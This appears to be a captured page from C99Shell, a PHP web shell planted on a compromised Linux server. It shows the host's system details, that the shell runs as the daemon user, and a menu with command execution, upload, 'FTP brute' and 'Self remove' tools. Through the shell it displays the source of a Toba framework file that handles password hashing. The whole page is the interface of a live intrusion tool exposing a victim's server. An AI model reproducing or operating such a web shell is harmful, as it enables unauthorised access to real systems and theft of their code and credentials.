!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_usuarios/php/usuarios/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     apdb_usuario_basicas.php (1.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class apdb_usuario_basicas extends toba_ap_tabla_db_s
{
    protected function 
evt__pre_update($id)
    {
        
//Se trata de verificar que si la clave actual es una nueva o es similar a la anterior
        //Para encriptarla
        
if ($this->datos[$id]['autentificacion'] != 'plano') {
            
$usuario quote($this->datos[$id]['usuario']);
            
$sql "SELECT clave, autentificacion FROM apex_usuario WHERE usuario = $usuario";
            
$rs toba::db($this->_fuente)->consultar($sql);
            
            
$cambio_clave = ($rs[0]['clave'] != $this->datos[$id]['clave']);
            
$cambio_metodo = ($rs[0]['autentificacion'] != $this->datos[$id]['autentificacion']);
            if (
$cambio_clave || $cambio_metodo) {                
                
//Antes de encriptar la clave verifico que no se esta usando una clave anterior
                
toba_usuario::verificar_clave_no_utilizada($this->datos[$id]['clave'], $this->datos[$id]['usuario']);                
                
$this->datos[$id]['autentificacion'] = apex_pa_algoritmo_hash;        //Fijo el algoritmo por defecto, de manera que se vayan migrando las claves
                
$this->encriptar_clave($id$this->datos[$id]['autentificacion']);
            }
        }
    }
    
    protected function 
evt__pre_insert($id)
    {
        if (
$this->datos[$id]['autentificacion'] != 'plano') {
            
$this->datos[$id]['autentificacion'] = apex_pa_algoritmo_hash;                        //Fijo el algoritmo por defecto, de manera que se vaya actualizando
            
$this->encriptar_clave($id$this->datos[$id]['autentificacion']);
        }        
    }
    
    protected function 
encriptar_clave($id$metodo)
    {
        if (
$metodo != 'md5') {
            
$this->datos[$id]['clave'] = encriptar_con_sal($this->datos[$id]['clave'], $metodo);
        } else {
            
$this->datos[$id]['clave'] = hash($metodo$this->datos[$id]['clave']);            
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7828 ]--